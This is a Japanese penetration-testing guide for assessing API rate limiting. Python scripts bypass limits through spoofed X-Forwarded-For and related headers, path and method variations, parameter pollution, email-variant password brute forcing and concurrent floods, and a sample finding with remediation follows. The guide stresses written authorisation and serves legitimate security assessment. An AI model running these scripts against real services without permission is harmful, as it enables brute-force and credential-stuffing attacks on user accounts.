performing-api-rate-limiting-bypass

API レート制限の回避

使用する場面

• 認証エンドポイントに対するブルートフォース攻撃を可能にするため、API のレート制限を回避できるかテストする場合
• クレデンシャルスタッフィングやアカウント列挙に対する API スロットリング制御の有効性を評価する場合
• すべての API バージョン、メソッド、エンコード形式でレート制限が一貫して適用されているか評価する場合
• ヘッダーの操作や IP ローテーションによって、API ゲートウェイのレート制限を回避できるかテストする場合
• リソース枯渇やサービス拒否につながる状況から、レート制限で保護できることを検証する場合

書面による許可なしに使用しないでください。レート制限のテストでは大量のリクエストを送信するため、サービスの可用性に影響する可能性があります。

前提条件

• 対象エンドポイントと許容されるリクエスト量を明記した書面による許可
• requests、aiohttp、asyncio ライブラリを使用できる Python 3.10+
• 高速なテストを行うための Turbo Intruder 拡張機能を備えた Burp Suite Professional
• 手動でヘッダー操作テストを行うための cURL
• 対象の CDN および WAF インフラストラクチャ（Cloudflare、AWS WAF、Akamai）に関する知識
• テスト対象のレート制限回避ヘッダーのリスト

ワークフロー

ステップ 1：レート制限の特定とベースラインの確認

レート制限の実装方法を特定します。

import requests
import time

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Send requests and track rate limit headers
def probe_rate_limit(endpoint, method="GET", count=100):
    results = []
    for i in range(count):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers)
        rate_headers = {
            "limit": resp.headers.get("X-RateLimit-Limit") or resp.headers.get("X-Rate-Limit-Limit"),
            "remaining": resp.headers.get("X-RateLimit-Remaining") or resp.headers.get("X-Rate-Limit-Remaining"),
            "reset": resp.headers.get("X-RateLimit-Reset") or resp.headers.get("X-Rate-Limit-Reset"),
            "retry_after": resp.headers.get("Retry-After"),
            "status": resp.status_code
        }
        results.append(rate_headers)
        if resp.status_code == 429:
            print(f"Rate limited at request {i+1}: {rate_headers}")
            return results, i+1
        time.sleep(0.05)  # Small delay to avoid connection issues
    print(f"No rate limit triggered after {count} requests")
    return results, count

# Test key endpoints
login_results, login_threshold = probe_rate_limit("/auth/login", "POST", 200)
api_results, api_threshold = probe_rate_limit("/users/me", "GET", 200)
search_results, search_threshold = probe_rate_limit("/search?q=test", "GET", 200)

print(f"\nRate Limit Summary:")
print(f"  Login: Triggered at request {login_threshold}")
print(f"  API: Triggered at request {api_threshold}")
print(f"  Search: Triggered at request {search_threshold}")

ステップ 2：IP ベースの回避手法

# Bypass Technique 1: Header-based IP spoofing
IP_SPOOFING_HEADERS = [
    "X-Forwarded-For",
    "X-Real-IP",
    "X-Original-Forwarded-For",
    "X-Originating-IP",
    "X-Remote-IP",
    "X-Remote-Addr",
    "X-Client-IP",
    "X-Host",
    "X-Forwarded-Host",
    "True-Client-IP",
    "Cluster-Client-IP",
    "X-ProxyUser-Ip",
    "Forwarded",
    "CF-Connecting-IP",
    "Fastly-Client-IP",
    "X-Azure-ClientIP",
    "X-Akamai-Client-IP",
]

def test_ip_spoofing_bypass(endpoint, method="POST", body=None):
    """Test if IP spoofing headers bypass rate limiting."""
    # First, trigger the rate limit normally
    for i in range(200):
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=headers, json=body)
        if resp.status_code == 429:
            print(f"Rate limit triggered at request {i+1}")
            break

    # Now test each spoofing header
    bypasses_found = []
    for header in IP_SPOOFING_HEADERS:
        spoofed_headers = {**headers, header: f"10.0.{i%256}.{(i*7)%256}"}
        resp = requests.request(method, f"{BASE_URL}{endpoint}", headers=spoofed_headers, json=body)
        if resp.status_code != 429:
            bypasses_found.append(header)
            print(f"[BYPASS] {header} -> {resp.status_code}")

    return bypasses_found

login_body = {"username": "[email protected]", "password": "wrongpassword"}
bypasses = test_ip_spoofing_bypass("/auth/login", "POST", login_body)

ステップ 3：エンドポイントの変更による回避

# Bypass Technique 2: URL path variation
def test_path_variation_bypass(base_endpoint, token):
    """Test if path variations bypass rate limit tied to specific endpoint."""
    variations = [
        base_endpoint,                          # /api/v1/auth/login
        base_endpoint + "/",                    # /api/v1/auth/login/
        base_endpoint.upper(),                  # /API/V1/AUTH/LOGIN
        base_endpoint + "?dummy=1",             # /api/v1/auth/login?dummy=1
        base_endpoint + "#fragment",            # /api/v1/auth/login#fragment
        base_endpoint + "%20",                  # /api/v1/auth/login%20
        base_endpoint + "/..",                  # /api/v1/auth/login/..
        base_endpoint.replace("/v1/", "/v2/"),  # /api/v2/auth/login
        base_endpoint + ";",                    # /api/v1/auth/login;
        base_endpoint + "\t",                   # Tab character
        base_endpoint + "%00",                  # Null byte
        base_endpoint + "..;/",                 # Spring path traversal
    ]

    # Trigger rate limit on original endpoint first
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{base_endpoint}",
                           headers={"Authorization": f"Bearer {token}"},
                           json={"username": "test", "password": "wrong"})
        if resp.status_code == 429:
            break

    # Test variations
    for variant in variations:
        try:
            resp = requests.post(f"{BASE_URL}{variant}",
                               headers={"Authorization": f"Bearer {token}"},
                               json={"username": "test", "password": "wrong"})
            if resp.status_code != 429:
                print(f"[BYPASS] Path variation: {variant} -> {resp.status_code}")
        except Exception:
            pass

test_path_variation_bypass("/auth/login", "<token>")

ステップ 4：HTTP メソッドと Content-Type による回避

# Bypass Technique 3: Method and content-type switching
def test_method_bypass(endpoint, original_body):
    """Test if rate limit is method-specific."""
    methods_to_test = ["POST", "PUT", "PATCH", "GET", "OPTIONS"]

    content_types = [
        "application/json",
        "application/x-www-form-urlencoded",
        "multipart/form-data",
        "text/plain",
        "application/xml",
        "text/xml",
    ]

    # Trigger rate limit with POST + application/json
    for i in range(200):
        resp = requests.post(f"{BASE_URL}{endpoint}",
                           headers={**headers, "Content-Type": "application/json"},
                           json=original_body)
        if resp.status_code == 429:
            break

    # Test other methods
    for method in methods_to_test:
        if method == "POST":
            continue
        resp = requests.request(method, f"{BASE_URL}{endpoint}",
                              headers=headers, json=original_body)
        if resp.status_code not in (429, 405):
            print(f"[BYPASS] Method switch to {method}: {resp.status_code}")

    # Test other content types
    for ct in content_types:
        if ct == "application/json":
            continue
        test_headers = {**headers, "Content-Type": ct}
        if ct == "application/x-www-form-urlencoded":
            data = "&".join(f"{k}={v}" for k, v in original_body.items())
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers, data=data)
        else:
            resp = requests.post(f"{BASE_URL}{endpoint}", headers=test_headers,
                               data=str(original_body))
        if resp.status_code != 429:
            print(f"[BYPASS] Content-Type {ct}: {resp.status_code}")

test_method_bypass("/auth/login", {"username": "[email protected]", "password": "wrong"})

ステップ 5：アカウントレベルの回避手法

# Bypass Technique 4: Rotate identifiers to avoid per-account limits
import string
import random

def test_account_rotation_bypass(login_endpoint, target_password_list):
    """Test if rate limit is per-account, bypassed by rotating usernames."""
    target_email = "[email protected]"

    # Test 1: Per-account rate limit bypass by rotating the username field
    # with slight variations
    email_variations = [
        target_email,
        target_email.upper(),
        f" {target_email}",
        f"{target_email} ",
        target_email.replace("@", "%40"),
        f"+tag@".join(target_email.split("@")),  # [email protected]
    ]

    for password in target_password_list[:50]:
        for email_var in email_variations:
            resp = requests.post(f"{BASE_URL}{login_endpoint}",
                               json={"username": email_var, "password": password})
            if resp.status_code == 200:
                print(f"[SUCCESS] Logged in with: {email_var} / {password}")
                return True
            elif resp.status_code == 429:
                print(f"Rate limited on variation: {email_var}")
            # Small delay
            time.sleep(0.1)

    return False

# Bypass Technique 5: Parameter pollution
def test_parameter_pollution_bypass(endpoint):
    """Add extra parameters to make each request appear unique."""
    for i in range(200):
        random_param = ''.join(random.choices(string.ascii_lowercase, k=8))
        resp = requests.post(
            f"{BASE_URL}{endpoint}?{random_param}={i}",
            headers=headers,
            json={"username": "[email protected]", "password": f"attempt_{i}"}
        )
        if resp.status_code == 429:
            print(f"Parameter pollution failed at request {i+1}")
            return False
    print("[BYPASS] Parameter pollution: 200 requests without rate limit")
    return True

ステップ 6：分散テストと非同期テスト

import asyncio
import aiohttp

async def distributed_rate_limit_test(endpoint, total_requests=1000, concurrency=50):
    """Test rate limiting under concurrent load."""
    results = {"success": 0, "rate_limited": 0, "errors": 0}

    async def make_request(session, request_num):
        try:
            # Rotate X-Forwarded-For per request
            req_headers = {
                **headers,
                "X-Forwarded-For": f"192.168.{request_num % 256}.{(request_num * 3) % 256}"
            }
            async with session.post(
                f"{BASE_URL}{endpoint}",
                headers=req_headers,
                json={"username": "[email protected]", "password": f"attempt_{request_num}"}
            ) as resp:
                if resp.status == 429:
                    results["rate_limited"] += 1
                elif resp.status in (200, 401):
                    results["success"] += 1
                else:
                    results["errors"] += 1
        except Exception:
            results["errors"] += 1

    connector = aiohttp.TCPConnector(limit=concurrency)
    async with aiohttp.ClientSession(connector=connector) as session:
        tasks = [make_request(session, i) for i in range(total_requests)]
        await asyncio.gather(*tasks)

    print(f"\nDistributed Test Results:")
    print(f"  Successful: {results['success']}")
    print(f"  Rate Limited: {results['rate_limited']}")
    print(f"  Errors: {results['errors']}")
    print(f"  Bypass Rate: {results['success']/(results['success']+results['rate_limited'])*100:.1f}%")

# asyncio.run(distributed_rate_limit_test("/auth/login"))

主な概念

用語	定義
レート制限	クライアントが一定時間内に API に送信できるリクエスト数を制御します。通常は IP、ユーザー、または API キーごとに適用されます
無制限のリソース消費	OWASP API4:2023 — リクエストされるリソースのサイズや数を適切に制限せず、DoS やブルートフォース攻撃を可能にする API
X-Forwarded-For の偽装	X-Forwarded-For ヘッダーを操作して、リクエストが異なる IP アドレスから送信されたとサーバーに認識させ、IP ベースのレート制限を回避します
クレデンシャルスタッフィング	盗まれたユーザー名とパスワードの組み合わせをログインエンドポイントに自動的に投入する攻撃です。大規模な攻撃にはレート制限の回避が必要です
トークンバケット	バケットサイズまでのリクエストのバーストを許可し、一定の速度で補充するレート制限アルゴリズムです
スライディングウィンドウ	ローリング時間枠内のリクエストを追跡するレート制限アルゴリズムです。固定ウィンドウよりもバースト攻撃に対する耐性があります

ツールとシステム

• Burp Suite Turbo Intruder：Python ベースのスクリプトエンジンを使用した、レート制限テスト向けの高性能リクエスト送信ツール
• ffuf：リクエストレートとヘッダー操作を設定してレート制限をテストできる、高速な Web ファザー
• wfuzz：ヘッダーインジェクション、パラメーターのファジング、レート制限回避手法に対応した Web ファザー
• Postman Collection Runner：変数をローテーションしてコレクションを自動実行し、レート制限回避をテストするツール
• Gatling/k6：本番環境に近い条件でレート制限をテストするために、現実的なトラフィックパターンをシミュレートする負荷テストツール

一般的なシナリオ

シナリオ：ログイン API のレート制限回避評価

背景：金融サービス API では、ブルートフォース攻撃を防ぐため、ログインエンドポイントにレート制限を導入しています。コンプライアンス監査の前に、セキュリティチームはこれらの対策の有効性を確認したいと考えています。

アプローチ：

1. ベースライン：POST /api/v1/auth/login に 100 件のリクエストを送信します。IP ごとに 1 分あたり 10 件目のリクエストでレート制限が適用されます。
2. X-Forwarded-For のローテーションをテストします：一意の X-Forwarded-For 値を指定して 100 件のリクエストを送信すると、レート制限を回避できます（すべてのリクエストが 429 ではなく 401 を返します）。
3. パスのバリエーションをテストします：/api/v1/auth/login/（末尾のスラッシュ）にすると、レート制限のカウンターがリセットされます。
4. API のバージョンをテストします：/api/v2/auth/login にはレート制限が設定されていません（シャドー API）。
5. パラメーター汚染をテストします：各リクエストに ?_=<random> を追加すると、レート制限を回避できます。
6. 同時リクエストをテストします：同じ IP から 50 件のリクエストを同時に送信すると、レート制限が働くまでに 45 件が成功します（カウンターに競合状態があります）。
7. レート制限が nginx リバースプロキシレベルで IP のみを追跡して実装されており、検証せずに X-Forwarded-For ヘッダーを信頼していることを特定します。

注意点：

• リクエストを短時間に送りすぎて、テスト環境に実際のサービス拒否を引き起こさないようにします。
• パスワードリセット、MFA 検証、アカウント列挙の各エンドポイントのレート制限をテストし忘れないようにします。
• レート制限がエンドポイントごと、またはメソッドごとに適用される場合があるため、グローバルに適用されると決めつけないようにします。
• バーストによる回避を可能にする、レート制限カウンターの競合状態を見落とさないようにします。
• 認証済みの場合と未認証の場合のレート制限を、それぞれ個別にテストします。

出力形式

## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing

**ID**: API-RATE-001
**Severity**: High (CVSS 7.3)
**OWASP API**: API4:2023 - Unrestricted Resource Consumption
**Affected Endpoints**:
  - POST /api/v1/auth/login
  - POST /api/v1/auth/forgot-password
  - POST /api/v1/auth/verify-mfa

**Description**:
The API rate limiting implementation relies on the X-Forwarded-For header
to identify client IP addresses. Since the application sits behind a load
balancer that does not strip or validate this header, an attacker can set
arbitrary X-Forwarded-For values to bypass the 10 requests/minute rate limit
on authentication endpoints.

**Bypass Methods Confirmed**:
1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)
2. Trailing slash path variation: /auth/login/ treated as separate endpoint
3. API v2 endpoint: No rate limiting configured
4. Race condition: 50 concurrent requests, 45 succeed before counter updates

**Impact**:
An attacker can perform unlimited brute force attacks against any user
account, bypassing the rate limit designed to prevent credential stuffing.
At 1000 attempts per minute, a 6-digit PIN can be brute-forced in under
17 minutes.

**Remediation**:
1. Configure the load balancer to set X-Forwarded-For and strip client-provided values
2. Implement rate limiting at the application layer using authenticated user ID, not just IP
3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)
4. Apply rate limits consistently across all API versions and content types
5. Use atomic rate limit counters (Redis INCR) to prevent race conditions
6. Implement progressive delays (exponential backoff) in addition to hard limits